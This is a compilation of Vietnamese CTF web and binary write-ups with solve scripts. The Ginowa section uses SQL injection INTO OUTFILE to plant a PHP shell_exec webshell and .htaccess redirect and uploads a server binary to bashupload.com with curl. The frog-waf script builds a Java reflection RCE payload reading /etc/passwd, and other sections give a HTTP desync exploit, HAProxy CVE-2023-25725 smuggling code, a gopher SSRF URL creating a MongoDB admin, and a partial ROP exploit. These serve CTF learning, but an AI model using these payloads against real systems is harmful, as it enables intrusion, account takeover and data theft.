47 | "coupon_code":[
48 | "HTB_100"
49 | ]
50 | }
51 | ```
52 | Vì coupon không được cộng chuỗi vào nhưng tiền thì đã cộng do câu query `SELECT` để lấy value của coupon trước đó đã thành công theo như behavior ta đã bàn nên ta có thể gửi đi nhiều lần và cộng tiền vô hạn, lấy jwt đó để tiếp tục mua item `C8` ta sẽ có được flag
53 |
54 | 
55 |
56 |
--------------------------------------------------------------------------------
/balsn/web.md:
--------------------------------------------------------------------------------
1 | ## Balsn CTF 2023 web writeup
2 |
3 | ### SaaS (solve: 19)
4 | Vấn đề của bài này là ta control được 1 phần object truyền vào `validatorFactory`, dẫn đến ta kiểm soát được 1 phần function được tạo ra, từ đó khi function này được thực thi thì ta có thể inject js code vào để thực thi cùng.
5 |
6 | 
7 |
8 | Trace một tí ta sẽ đến đoạn này
9 | 
10 |
11 | `required` là một array được lấy từ object ban đầu mà ta truyền vào, đây là sink cuối. Vậy chỉ cần một post data như thế này ta sẽ thành công thực hiện RCE được server
12 |
13 | 
14 |
15 | Ở phần request line thì `http://a.saas/whowilldothis/b3703f0b-c6a9-4ba6-b80b-32860238aaaa` là để server_name thỏa mãn `*.saas` trong khi host header sẽ được set là `easy++++++` nhằm bypass đoạn check của nginx
16 |
17 | ### Ginowa (solve: 13)
18 | Bài này được setup với 1 proxy ở frontend thực hiện giao tiếp với api ở phía backend chủ yếu thông qua file `api.php`. Ở backend ta thấy 1 lỗi SQL Injection khá rõ ràng xuất phát từ việc dùng prepare statement sai cách
19 |
20 | 
21 |
22 | Bài cho ta 3 thông tin đó là info.php ở frontend, backend và thông tin về các service đang chạy. Intended của bài là lợi dụng 1 việc `LOAD_FILE` có thể dùng với wildcard, từ đó đọc file binary ở server, reverse một chút và đọc được flag. Ở đây mình sẽ nói đến một cách làm khác của mình:
23 |
24 | Do thấy được ta có quyền ghi file, nhưng file ghi lên bị xóa sau một khoản thời gian nhất định, ngay cả khi có thể spam request để liên tục ghi file đó lại sau khi bị xóa thì cũng không thể truy cập vào file shell đã ghi như cách thông thường để chạy nó được. Tới đây mình nghĩ ra cách ghi 1 file .htaccess lên server để chuyển hướng truy cập vào file php vừa ghi mỗi khi truy cập vào api.php, ta sẽ cho race 2 luồng ghi file a.php và luồng ghi file .htaccess lại, ở file a.php ta sẽ trả về 1 đoạn JSON hợp lệ cùng với "name" là kết quả của lệnh `shell_exec` để đọc được output của lệnh.
25 |
26 | Upload file `a.php`:
27 | ```
28 | GET /?id=<@urlencode>11111'+UNION+SELECT+'','','','+"ok","name"+=>"result:".shell_exec("dir C:\\")])+?>'+INTO+OUTFILE+'C:\\xampp\\htdocs\\a.php<@/urlencode> HTTP/1.1
29 | Host: ginowa-1.balsnctf.com
30 | Cache-Control: max-age=0
31 | Upgrade-Insecure-Requests: 1
32 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
33 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
34 | Accept-Encoding: gzip, deflate
35 | Accept-Language: en-US,en;q=0.9
36 | Connection: close
37 |
38 | ```
39 |
40 | Upload .htaccess:
41 | ```
42 | GET /?id=<@urlencode>11111'+UNION+SELECT+'','','','Redirect+301+/api.php+/a.php'+INTO+OUTFILE+'C:\\xampp\\htdocs\\.htaccess<@/urlencode> HTTP/1.1
43 | Host: ginowa-1.balsnctf.com
44 | Cache-Control: max-age=0
45 | Upgrade-Insecure-Requests: 1
46 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
47 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
48 | Accept-Encoding: gzip, deflate
49 | Accept-Language: en-US,en;q=0.9
50 | Connection: close
51 |
52 | ```
53 |
54 | Race 2 luồng này ta sẽ đọc được kết quả từ lệnh dir, từ đó biết tên file PE. Sau đó mình upload file PE này lên https://bashupload.com/ bằng curl rồi tải về đọc, đưa vào IDA thấy được nó đang cố gắng mở một file `s` và thực hiện 1 hàm decrypt, thử dùng cách upload bằng curl cũ để upload cả file `s` cùng thư mục lên và tải về, sau đó chạy file PE ban đầu ta có được flag:
55 |
56 | 
57 |
--------------------------------------------------------------------------------
/sekaictf-2023/frog-waf.py:
--------------------------------------------------------------------------------
1 | str_to_use = "message.getClass().getModule().getLayer().toString()"
2 | res = "java.base, java.logging, jdk.crypto.ec, java.instrument, jdk.management, jdk.jdi, jdk.security.jgss, jdk.naming.rmi, jdk.jdwp.agent, jdk.zipfs, jdk.sctp, jdk.naming.ldap, jdk.jartool, java.security.jgss, jdk.net, jdk.jconsole, jdk.scripting.nashorn, jdk.management.agent, jdk.jstatd, java.management, jdk.jsobject, java.management.rmi, jdk.internal.le, java.datatransfer, java.desktop, jdk.accessibility, java.rmi, java.naming, jdk.jshell, jdk.internal.jvmstat, jdk.unsupported.desktop, jdk.xml.dom, java.prefs, jdk.management.jfr, jdk.charsets, jdk.editpad, java.net.http, java.smartcardio, jdk.naming.dns, java.transaction.xa, java.compiler, java.sql.rowset, java.scripting, java.security.sasl, java.xml.crypto, jdk.dynalink, jdk.unsupported, jdk.jlink, java.sql, jdk.compiler, jdk.security.auth, jdk.jdeps, jdk.localedata, jdk.httpserver, jdk.crypto.cryptoki, jdk.jfr, jdk.javadoc, jdk.internal.ed, jdk.attach, jdk.internal.opt, java.xml"
3 | # res = "jdk.internal.jvmstat, java.scripting, jdk.internal.le, java.compiler, jdk.attach, java.datatransfer, jdk.localedata, jdk.zipfs, java.transaction.xa, jdk.javadoc, jdk.security.auth, jdk.jstatd, jdk.internal.ed, java.naming, java.instrument, jdk.editpad, jdk.management.jfr, jdk.jdwp.agent, java.sql, java.net.http, jdk.unsupported.desktop, jdk.management, java.security.sasl, jdk.dynalink, jdk.jsobject, java.base, jdk.naming.rmi, java.logging, jdk.naming.dns, java.management.rmi, jdk.compiler, jdk.jartool, java.xml.crypto, java.security.jgss, jdk.charsets, java.management, jdk.sctp, jdk.jdi, jdk.crypto.cryptoki, jdk.xml.dom, jdk.jlink, java.rmi, jdk.accessibility, jdk.security.jgss, java.prefs, jdk.naming.ldap, jdk.unsupported, jdk.internal.opt, jdk.jconsole, jdk.jfr, java.sql.rowset, jdk.net, jdk.management.agent, jdk.scripting.nashorn, java.desktop, jdk.httpserver, jdk.crypto.ec, java.xml, java.smartcardio, jdk.jshell, jdk.jdeps"
4 |
5 | def find_char(char, arr, need_lower = False, need_upper = False):
6 | global str_to_use
7 |
8 | first_index = res.index(char)
9 | tmp_str_chunk = str_to_use
10 | for i in range(first_index):
11 | tmp_str_chunk += ".substring(message.lines().count())"
12 | tmp_str_chunk += ".substring(message.compareTo(message),message.lines().count())"
13 | if need_lower:
14 | tmp_str_chunk += ".toLowerCase()"
15 | elif need_upper:
16 | tmp_str_chunk += ".toUpperCase()"
17 | arr.append(tmp_str_chunk)
18 |
19 | def generate_payload(want_to_construct):
20 | arr = []
21 | for char in want_to_construct:
22 | try:
23 | find_char(char, arr)
24 | except ValueError:
25 | if char.isupper():
26 | char = char.lower()
27 | find_char(char, arr, False, True)
28 | else:
29 | char = char.upper()
30 | find_char(char, arr, False, True)
31 |
32 | result = ""
33 | parentheses = 0
34 | for chunk in arr:
35 | result += chunk + ".concat("
36 | parentheses += 1
37 | for i in range(parentheses):
38 | if i == 0:
39 | result += "message.repeat(message.compareTo(message)))"
40 | continue
41 | result += ")"
42 | return result
43 |
44 |
45 | def generate_char(char_to_generate):
46 | ascii_num = ord(char_to_generate)
47 | payload = "%s.getDeclaredMethods()[%s]"
48 | payload = payload % (load_class("java.lang.Character"), generate_padding(5))
49 | payload += ".invoke(%s, %s)"
50 | payload = payload % (load_class("java.lang.Character"), generate_padding(ascii_num))
51 | return payload
52 |
53 | def generate_padding(len_to_pad):
54 | the_padding_str = generate_payload("a"*len_to_pad)
55 | the_padding_str = "(" + the_padding_str + ").length()"
56 | return the_padding_str
57 |
58 | def generate_command(command):
59 | payload = ""
60 | arr = []
61 | for part in command.split(" "):
62 | try:
63 | tmp = generate_payload(part)
64 | arr.append(tmp)
65 | except ValueError:
66 | for tmp_tmp in list(part):
67 | arr.append(generate_char(tmp_tmp))
68 | arr.append(generate_char(" "))
69 | parentheses = 0
70 | for chunk in arr:
71 | payload += chunk + ".concat("
72 | parentheses += 1
73 | for i in range(parentheses):
74 | if i == 0:
75 | payload += "message.repeat(message.compareTo(message)))"
76 | continue
77 | payload += ")"
78 | return payload
79 |
80 |
81 | def load_class(class_name):
82 | return "message.getClass().getModule().getLayer().findLoader(%s).loadClass(%s)" % (generate_payload("jdk.jdi"), generate_payload(class_name))
83 |
84 |
85 | import requests, json
86 |
87 | wrapper = load_class("java.io.BufferedReader")
88 | wrapper += ".getDeclaredConstructors()[message.lines().count()]"
89 | reader = load_class("java.io.InputStreamReader")
90 | reader += ".getDeclaredConstructors()[%s]" % (generate_padding(3))
91 | payload = load_class("java.lang.Runtime")
92 | payload += ".getDeclaredMethods()[%s]"
93 | payload = payload % (generate_padding(7))
94 | payload += ".invoke(%s)"
95 | payload = payload % (load_class("java.lang.Runtime"))
96 | # print(payload)
97 |
98 | payload += ".exec(%s).getInputStream()" % (generate_command("sh -c $@|sh . echo cat /etc/passwd | base64 -w0"))
99 |
100 | payload = (reader + ".newInstance(%s)") % (payload)
101 | payload = (wrapper + ".newInstance(%s).readLine()") % (payload)
102 | # print(payload)
103 |
104 | url = "http://frog-waf.chals.sekai.team/addContact"
105 | post_data = open("a.txt", "r").read() % (payload)
106 | post_data = json.loads(post_data)
107 | # print(post_data)
108 |
109 | req = requests.post(url, json=post_data)
110 | print(req.text)
111 |
--------------------------------------------------------------------------------
/Circle City Con 8.0/StickyNotes.md:
--------------------------------------------------------------------------------
1 | Một challenge rất hay do `qxxxb` viết trong giải `Circle City Con 8.0` vào năm 2020, thông qua challenge này đã giúp mình hiểu hơn về HTTP desync và browser, cùng vào bài nào
2 |
3 | ## Goal bài và trở ngại
4 | - Bài gồm 1 frontend server và 1 CDN server chứa các notes do user tải lên. CDN chứa 1 endpoint để get flag nhưng cần có token đúng
5 | - Ta cần tìm ra cách để lấy được token do bot nắm giữ, token này nằm trong cookie của bot khi nó visit các note của ta
6 | - Các note tải lên được lưu vào file và không thông qua hàm encode/sanitize nào tuy nhiên khi trả về từ CDN thì `Content-Type` luôn là `plain/text` do đó không thể XSS trực tiếp
7 |
8 | ## HTTP Desync
9 | Tại `notes.py` là source code của CDN server, server này được tác giả implement từ raw TCP, đọc đến hàm `send_file` nơi xử lý việc trả về các notes cho user ta sẽ thấy một bug có thể lead đến HTTP desync:
10 | 
11 |
12 | Hàm `http_header` sẽ prepare phần header cho response:
13 | 
14 |
15 | Để ý thấy trong header thì length của message được lấy sau khi convert lại từ bytes về string, nhưng khi đem message đi chia thành các chunk thì lại dùng message ở dạng `bytes`, nghĩa là nếu ban đầu message chứa các multibytes unicode thì chắc chắn length khi decode về string sẽ ít hơn so với khi gửi => **HTTP Desync**
16 | 
17 |
18 | Vậy ta có thể inject thêm 1 response về response gốc của server CDN, vậy ta có thể làm gì với lỗi này?
19 |
20 | ## Chrome implementation
21 | Chrome có hỗ trợ parallel connection, bằng chứng là khi truy cập vào web ta sẽ thấy nhiều tài nguyên được load cùng lúc, ví dụ như `favicon.ico`, `styles.css`, `main.js` sẽ được load cùng lúc chứ không tuyến tính. Tuy nhiên số tài nguyên được load cùng lúc lại bị giới hạn lại, với mỗi domain thì chrome sẽ chỉ cho phép **6** parallel connection.
22 |
23 | Để tiết kiệm tài nguyên, chrome sẽ không luôn luôn khởi tạo 1 TCP connection mới để load resource, mà sẽ check xem có TCP connection nào có thể reuse được không bằng cách kiểm tra `Connection` header, nếu mang giá trị `keep-alive` thì chrome sẽ biết connection này có thể reuse được và tiếp tục fetch resource thông qua tcp connection này.
24 |
25 | Như ta thấy thì trong response header của cdn sẽ luôn có `Connection: keep-alive`, vậy liệu ta có thể kết hợp bug HTTP desync ta có và Chrome implementation lại hay không?
26 |
27 | ## Exploitation idea
28 | Vì đặc điểm của CDN server là nó sẽ chia response thành các chunk dài 1448 bytes và sleep 0.1s sau mỗi lần gửi, nên ta có thể tạo 1 note chứa payload khiến response bị split ra, 5 note còn lại sẽ khiến cho cả 6 connection bị lock, ngay khi connection của evil note ta tạo ban đầu load xong n bytes đầu tiên, nó sẽ tiếp tục reuse connection để load tiếp các bytes chứa phần response mà ta đã inject vào
29 |
30 | Anatomy:
31 | ```
32 | -----------------------------------------------------------
33 | admin bot -------------------------------> frontend
34 | admin bot --------------node#0-----------> CDN ( finish in ns )
35 | admin bot --------------node#1-----------> CDN ( finish in n+xs )
36 | admin bot --------------node#2-----------> CDN ( finish in n+xs )
37 | admin bot --------------node#3-----------> CDN ( finish in n+xs )
38 | admin bot --------------node#4-----------> CDN ( finish in n+xs )
39 | admin bot --------------node#5-----------> CDN ( finish in n+xs )
40 | admin bot --------------node#6-----------> CDN (reuse connection of node#0, fetch malicious response)
41 | -----------------------------------------------------------
42 | ```
43 |
44 | Chrome bắt buộc các HTTP response phải nằm trong các TCP chunk khác nhau, do đó ta sẽ phải canh chỉnh để khiến HTTP response align đúng theo quy tắc này:
45 | 
46 |
47 | Ở đây ký tự `¡` sẽ chiếm 2 byte, ta sẽ pad 1448 byte `¡` và 1448 byte bao gồm (payload + padding) với cách craft trên thì `Content-Type` mà chrome nhận được sẽ là `2896`, thấp hơn nhiều so với length của response thực tế, bằng cách này thì `2896` bytes mà chrome đọc sẽ chỉ đến cuối của phần padding 1448 byte `¡`, phần padding "AAAA..." phía sau là để nâng length của response lên đúng bằng cuối phần padding chữ `¡` ban đầu, và response tiếp theo mà chrome fetch từ connection lúc nãy sẽ là response mà ta inject vào
48 |
49 | ```py
50 | import requests
51 |
52 | def create_note(content, id):
53 | burp0_url = "http://localhost:3100/board/add_note"
54 | burp0_json={"body": content, "id": id}
55 | return "http://localhost:3101/" + id + "/" + requests.post(burp0_url, json=burp0_json).text.replace("\"", "")
56 |
57 |
58 | def create_evil_note(id, script = ""):
59 |
60 | payload = f"""HTTP/1.1 200 OK\r
61 | Content-Type: text/html\r
62 | Content-Length: {len(script)}\r
63 | \r
64 | {script}"""
65 |
66 | payload_len = 1448
67 | payload = payload + "A" * (payload_len - len(payload))
68 |
69 | ans = "¡"*1448 + payload
70 | create_note(ans, id)
71 |
72 | def fill_5_other_connection(id):
73 | for _ in range(5):
74 | create_note("😍"*(1448*10), id)
75 |
76 |
77 | def exploit():
78 | res = requests.get("http://localhost:3100/create_board", allow_redirects=False)
79 | id = res.headers['location'][len("/board/"):]
80 |
81 | payload = ""
82 |
83 | create_evil_note(id, payload)
84 | fill_5_other_connection(id)
85 | create_note("a", id)
86 |
87 | print("payload at: " + id)
88 |
89 | exploit()
90 | ```
91 | 
92 |
93 | 
94 |
95 |
96 |
97 |
--------------------------------------------------------------------------------
/CakeCTF 2022/CakeGear.md:
--------------------------------------------------------------------------------
1 | # CakeCTF 2022: Cake Gear
2 |
3 | **link**: http://web1.2022.cakectf.com:8005
4 |
5 | source code:
6 |
7 | `index.php`:
8 | ```
9 | username) && isset($req->password)) {
20 | if ($req->username === 'godmode'
21 | && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
22 | /* Debug mode is not allowed from outside the router */
23 | $req->username = 'nobody';
24 | }
25 |
26 | switch ($req->username) {
27 | case 'godmode':
28 | /* No password is required in god mode */
29 | $_SESSION['login'] = true;
30 | $_SESSION['admin'] = true;
31 | break;
32 |
33 | case 'admin':
34 | /* Secret password is required in admin mode */
35 | if (sha1($req->password) === ADMIN_PASSWORD) {
36 | $_SESSION['login'] = true;
37 | $_SESSION['admin'] = true;
38 | }
39 | break;
40 |
41 | case 'guest':
42 | /* Guest mode (low privilege) */
43 | if ($req->password === 'guest') {
44 | $_SESSION['login'] = true;
45 | $_SESSION['admin'] = false;
46 | }
47 | break;
48 | }
49 |
50 | /* Return response */
51 | if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
52 | echo json_encode(array('status'=>'success'));
53 | exit;
54 | } else {
55 | echo json_encode(array('status'=>'error'));
56 | exit;
57 | }
58 | }
59 | ?>
60 |
61 |
62 |
63 |
64 | login - CAKEGEAR
65 |
66 |
67 |
68 |
137 |
138 |
139 |
140 | ```
141 |
142 |
143 | Nhìn vào switch case của file index.php, ta thấy web có 3 chế độ login: `godmode`, `admin` và `guest`. Ở quyền guest ta không thể đọc được flag, vậy ta chỉ có 2 cách là crack được pass được mã hóa sha1 hoặc là login bằng quyền `godmode`.
144 |
145 | Vì việc bruteforce để tìm ra plaintext đúng của mã sha1 là khá tốn thời gian nên mình loại cách này, chuyển sang việc tìm cách để login với quyền `godmode`. Vấn đề ở đây là web sẽ check nếu username là godmode và IP của client không phải là IP localhost thì sẽ đổi username thành `nobody` và không có login vào.
146 |
147 | ```
148 | if ($req->username === 'godmode'
149 | && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
150 | /* Debug mode is not allowed from outside the router */
151 | $req->username = 'nobody';
152 | }
153 | ```
154 |
155 | Mình research khá nhiều và tìm xem có cách nào để tác động đến `$_SERVER['REMOTE_ADDR']` không nhưng mà khá là no hope. Sau một lúc research thì mình tìm ra được cách so sánh của mệnh đề `switch...case` trong PHP dựa trên loose comparison, nhìn lại vào câu check trên thì username lại được check bằng strict comparison.
156 |
157 | Với việc data được truyền đi bằng json, ta có thể kiểm soát được data type của các field, làm fail câu if bên trên nhưng vẫn có thể làm cho câu switch case chạy vào đoạn case đầu tiên.
158 |
159 | Dựa vào [PHP type comparison tables](https://www.php.net/manual/en/types.comparisons.php), ta có thể dùng `true` để gán cho username field và đạt được điều trên.
160 |
161 | ```
162 | {
163 | "username": true,
164 | "password": "godmode"
165 | }
166 | ```
167 |
168 | FLAG: `CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}`
169 |
170 |
--------------------------------------------------------------------------------
/HTB-apocalypse-2024/percetron.md:
--------------------------------------------------------------------------------
1 | # The challenge
2 | name: percetron
3 |
4 | difficulty: hard
5 | ## Solution
6 | Bài này mình nắm bắt cách làm từ rất sớm, 90% thời gian làm còn lại là mình tìm cách để bypass đến route `/healthcheck-dev` do ACl của HAproxy chặn.
7 |
8 | 
9 |
10 | Hướng làm sẽ như sau, đầu tiên bằng cách nào đó bypass ACL để reach endpoint `/healthcheck-dev` nhằm thực hiện SSRF đến mongodb bằng protocol `gopher`
11 |
12 | 
13 |
14 | 
15 |
16 | Từ đó ta tạo được một account admin, sau đó lợi dụng Neo4j injection tại `/panel/management/addcert` để control filename của cert được add
17 |
18 | 
19 |
20 | 
21 |
22 | Khi đó tại endpoint `/panel/management/dl-certs` ta có thể trigger RCE vì khi trace vào method `compress` của thư viện `@steezcram/sevenzip` ta sẽ thấy rằng filename được truyền vào `execFile` với `shell: true`.
23 |
24 | 
25 |
26 | Quan trọng nhất ở bài này sẽ là bước bypass ACL và SSRF lên mongodb
27 | ## ACL bypass with `CVE-2023-25725`
28 | CVE này mình đã chú ý đến nó, tuy nhiên khi thử nghiệm mình lại chưa thể lead nó ra HTTP smuggling được. Lỗ hổng của HAProxy là HAProxy sẽ không forward các header nằm phía sau một empty header
29 | Patch:
30 |
31 | 
32 |
33 | Vậy thì ta có thể để một Content-Length phía sau một empty header để HAproxy không forward nó về backend => request sẽ không có body và phần body sẽ được xem là request thứ 2, thử kiểm chứng giả thuyết:
34 | ```py
35 | from pwn import *
36 |
37 | conn = remote("localhost", 1337)
38 |
39 | conn.send("""GET /test HTTP/1.1
40 | Host: localhost:1337
41 | :x
42 | Content-Length: 250
43 |
44 | GET /healthcheck-dev HTTP/1.1
45 | Host: localhost:1337
46 | Connection: keep-alive
47 | Content-Length: 0
48 | """.replace("\n", "\r\n").encode() + b"\r\n"*50)
49 |
50 | conn.interactive()
51 |
52 | ```
53 | Ở phía server mình dùng netcat để debug
54 |
55 | 
56 |
57 | Như bạn thấy, vì không có Content-Length khi forward nên HAProxy đã forward một transfer-encoding để thay thế và biến response thành một chunk => tạch, đây chính là thứ làm mình nghĩ rằng bug này không thể lead ra HTTP smuggling được, tuy nhiên nếu ta đổi version HTTP sử dụng thành 1.0 hoặc 0.9:
58 |
59 | 
60 |
61 | Lần này thì Transfer-Encoding lại không được thêm vào nữa, tại sao lại như thế?
62 |
63 | 
64 |
65 | ## H1 decoder
66 | Cùng phân tích patch của HAProxy: https://git.haproxy.org/?p=haproxy-2.7.git;a=commitdiff;h=a0e561ad7f29ed50c473f5a9da664267b60d1112
67 |
68 | Ta thấy đầu tiên họ sẽ reject một message có empty header name
69 |
70 | 
71 |
72 | Ngoài ra tại file `h1.c` sẽ thực hiện parse header thành một header list, entry cuối cùng của list sẽ là một entry với empty header name, giống như việc một string sẽ được terminate bằng null byte vậy, việc inject một header có empty header name giống như việc null byte injection đã từng xảy ra trong các phiên bản PHP cũ vậy. Bằng việc inject vào một empty header ta có thể truncate header list và bỏ qua các header còn lại, đó là bản chất của lỗ hổng này.
73 |
74 | 
75 |
76 | Vấn đề khi escalate lỗ hổng lên HTTP smuggling đó là khi HTTP sử dụng version 1.1, nếu header Content-Length không có trong header list thì một header `transfer-encoding` sẽ được thêm vào và body sẽ được chuyển thành một chunk
77 |
78 | 
79 |
80 | Để giải quyết vấn đề này ta chỉ cần down version HTTP sử dụng xuống thành 1.0 hoặc 0.9
81 |
82 | ```
83 | from pwn import *
84 |
85 | conn = remote("localhost", 1337)
86 |
87 | conn.send("""GET /test HTTP/1.0
88 | Host: localhost:1337
89 | :x
90 | Content-Length: 250
91 |
92 | GET /healthcheck-dev HTTP/1.0
93 | Host: localhost:1337
94 | Connection: keep-alive
95 | Content-Length: 0
96 | """.replace("\n", "\r\n").encode() + b"\r\n"*50)
97 |
98 | conn.interactive()
99 | ```
100 |
101 | 
102 |
103 | Tại sao việc down HTTP version từ 1.1 xuống 1.0 hoặc 0.9 lại khiến HAProxy không convert HTTP message sang format chunked nữa? Đơn giản là vì Transfer-Encoding được support từ HTTP 1.1 trở đi, HAProxy đã implement đúng theo RFC.
104 |
105 | ## Mongodb protocol
106 | Giờ ta đã reach được endpoint SSRF, vậy làm thế nào để SSRF đến mongodb rồi tạo một account? Cách đơn giản sẽ là mở TCPdump hoặc Wireshark để capture lại packet lúc gửi command lên mongodb, vì ta thấy switch `--noauth` được dùng khi chạy mongo service nên ta sẽ chỉ cần 1 request duy nhất, khi mới nghĩ đến idea này mình đã lo rằng có thể mongodb sẽ thực hiện handshake gì đó trước khi bắt đầu truyền data, mình thử dùng mongosh connect đến netcat và nhận thấy nó gửi một núi data đến, may mắn đây chỉ là client hello nhằm mục đích xác nhận rằng bên server có chạy mongodb.
107 |
108 | Sau khi dùng TCPdump ta có được một url như bên dưới:
109 | ```
110 | gopher://127.0.0.1:27017/_%1F%01%00%00%0C%00%00%00%00%00%00%00%DD%07%00%00%00%00%00%00%00%0A%01%00%00%02insert%00%06%00%00%00users%00%04documents%00%A7%00%00%00%030%00%9F%00%00%00%02username%00%09%00%00%00hehehehe%00%02password%00%3D%00%00%00%242a%2410%24/KdHSYJIHaQTBEJqkQHKeeecndrfl.M99P1KKUQVS3yuE3Xta5DKG%00%02permission%00%0E%00%00%00administrator%00%07_id%00e%F1%BC%DD%A3y%DB~%91%11kG%10__v%00%00%00%00%00%00%00%08ordered%00%01%03lsid%00%1E%00%00%00%05id%00%10%00%00%00%04%D7%13%CCe%A2%60H%26%97_5G%861fb%00%02%24db%00%0A%00%00%00percetron%00%00
111 | ```
112 |
113 | Tại đây sẽ tạo một account admin với username là `hehehehe` và pass là `password`, phần còn lại thì đơn giản thôi nên các bạn hãy thử tự mình dựng lại bài này và làm nhé.
114 |
--------------------------------------------------------------------------------
/labs/MBE/lab5B.md:
--------------------------------------------------------------------------------
1 | MBE (Modern Binary Exploitation) là các bài lab khá quen thuộc đối với những người học binary exploit, thông qua các bài lab mình học được khá nhiều kiến thức mới mà mình bị overlooked lúc tìm hiểu web exploitation. Đây là một writeup về lab5A, bài cuối về chủ đề ROP của MBE.
2 |
3 | ## Source code analysis
4 |
5 | Source bài này sẽ khá giống với bài lab3A trong phần shellcode, một storage service cho phép chứa 1 số vào 1 array về đọc số đó ra. tại hàm `read_number` ta có thể dễ dàng thấy được lỗi Out of Bound Reading
6 | 
7 |
8 | Với lỗi này ta có thể lợi dụng để leak stack address (lab MBE từ section 5 trở xuống thì ASLR luôn tắt, tuy nhiên để làm bài này khó hơn thì mình đã bật ASLR lên). Tại hàm `store_number`, ta thấy có một phần check trước khi dữ liệu được ghi:
9 |
10 | 
11 |
12 | Giải thích về 3 phần check:
13 | - `index % 3 == 0` phần check này là để gây khó khăn hơn khi craft ROP gadget, ta sẽ không thể ghi được ở 3 địa chỉ liền kề nhau
14 | - `index > STORAGE_SIZE` có vẻ là để tránh việc Out of Bound Writing, tuy nhiên để ý kỹ thì đáng lẽ nó phải là `index > STORAGE_SIZE-1` vì index bắt đầu từ `0`, do đó ta có 4 byte OOW, kinda useless vì nó chẳng thể chạm đến return address.
15 | - `(input >> 24) == 0xb7` intend của check này là ngăn việc ta có thể ret2libc, nhưng thật ra nó statically linked nên cũng không có libc và ở bài này mình cũng sẽ không dụng đến libc
16 |
17 | Vậy nếu ta chỉ có thể ghi đè 4 byte ở sau buffer thì có thể làm được gì nhỉ... nếu để ý lại index nhập vào sẽ là kiểu `int` vậy nếu ta để index âm thì bằng các canh chỉnh chính xác ta có thể store ở bất cứ địa chỉ nào trong memory, OOW thành công.
18 | Sau khi căn chỉnh ta sẽ biết ra được index `-1073741711` sẽ là return address của `main`, lúc đó sẽ trỏ về `__libc_start_main`, vậy giờ ta sẽ ROP như thế nào cho hợp lý...
19 |
20 | Với mình thì mình sẽ chọn 1 ROP gadget như sau, vì việc ROP gadget với 3 address không liên tiếp quá dark, nên mình muốn tìm cách để có thể ghi ROP gadget một cách tự do, idea sẽ là return về `read`.
21 | 
22 |
23 | Return về code segment, sẽ bypass qua phần check thứ 3, tuy nhiên thì index `-1073741711 % 3 == 2` và `-1073741711 % 3 == 1`, index tiếp theo là `-1073741709` chắc chắn chia hết cho 3, stack layout cho function `read` sẽ không hoàn thiện được. Cách giải quyết đơn giản, return về một hàm dummy nào đó và đưa `read` vào return address của hàm đó, stack layout:
24 | ```
25 | ----------------
26 | 0x00000001 => dummy_function
27 | 0x00000002 => read
28 | 0x00000003 => dummy_function's arg 1 (khong control duoc)
29 | 0x00000004 => read's arg 1
30 | 0x00000005 => read's arg 2 (address bat ki)
31 | 0x00000006 => read's arg 3 (khong control duoc)
32 | ----------------
33 | ```
34 |
35 | `read` nhận 3 tham số, lần lượt là fd, buffer và size, vấn đề tiếp theo là ta lại không control được arg thứ 3, chính là size read vào
36 | 
37 |
38 | Như ta thấy thì nếu tại return address là dummy function, thì argument `size` của `read` sẽ rơi vào địa chỉ `0xffffca30`, nghĩa là lúc này `read` sẽ đọc 0 byte, ta sẽ chẳng ghi đè được gì cả...
39 |
40 | Nhưng sẽ ra sao nếu nơi mà argument 3 rơi vào là địa chỉ `0xffffca3c`
41 | 
42 | Lúc này read sẽ đọc `0x80eb00c`, ta sẽ không cần nhiều đến thế nhưng chắc chắn nó sẽ giúp ta ghi đè được address bất kì. Vậy làm sao để ROP cho argument 3 rơi đúng vào ô nhớ đó? Mình sẽ cho return về một ROP pop stack 3 lần, sau đó return về `read` và ghi ROP vào return address của `read`, stack layout giả dụ:
43 |
44 | ```
45 | ----------------
46 | 0x00000001 => pop 3 thanh ghi
47 | 0x00000002 => ...
48 | 0x00000003 => ...
49 | 0x00000004 => ...
50 | 0x00000005 => read
51 | 0x00000006 => read's return address
52 | 0x00000007 => 0x0 (read from stdin)
53 | 0x00000008 => 0x00000006
54 | 0x00000008 => 0x80eb00c
55 | ----------------
56 | ```
57 |
58 | ROP gadget để pop 3 stack:
59 |
60 | 
61 |
62 | Vì trước đó thì mình có bật ASLR, nên ta sẽ cần leak địa chỉ của stack bất kì để tìm ra return address của `read`, cùng với đó là vì không có libc nên `/bin/sh` mình sẽ nèm vào phía dưới ROP chain, nên ta cũng cần tính toán offset để tìm ra địa chỉ của `/bin/sh` sau đó pop vào ebx
63 |
64 | Solve script:
65 | ```py
66 | from pwn import *
67 |
68 | def write_rop(data, loc, f=None):
69 | buf = b"store\n"
70 | buf += str(data).encode() + b"\n"
71 | buf += loc.encode() + b"\n"
72 | if f:
73 | f.write(buf)
74 | return buf
75 |
76 | pop_eax = util.packing.p32(0x080bc4d6)
77 | pop_ecx = util.packing.p32(0x080e6255)
78 | pop_edx = util.packing.p32(0x080695a5)
79 | pop_ebx = util.packing.p32(0x08058ed6)
80 | syscall = util.packing.p32(0x0806fa7f)
81 |
82 |
83 | bin_sh_string = {}
84 | bin_sh_string["bin"] = util.packing.p32(0x6e69622f)
85 | bin_sh_string["sh"] = util.packing.p32(0x68732f2f)
86 |
87 | read = 0x806d85a
88 |
89 | # pop 3 thanh ghi
90 | # ...
91 | # ...
92 | # ...
93 | # read
94 | #
95 | # 0x0
96 | # address to write
97 | # 0x80eb00c
98 |
99 | pop_3_reg = 0x0806e7bb
100 |
101 | proc = process("../lab5A")
102 |
103 | proc.sendline(b"read")
104 | proc.sendline(b"-1073741709") # leak stack address
105 | leaked_stack = int(proc.recvline_contains(b"Number at data[-1073741709] is ")[-10:].decode())
106 | stack_ret_addr = leaked_stack - 116
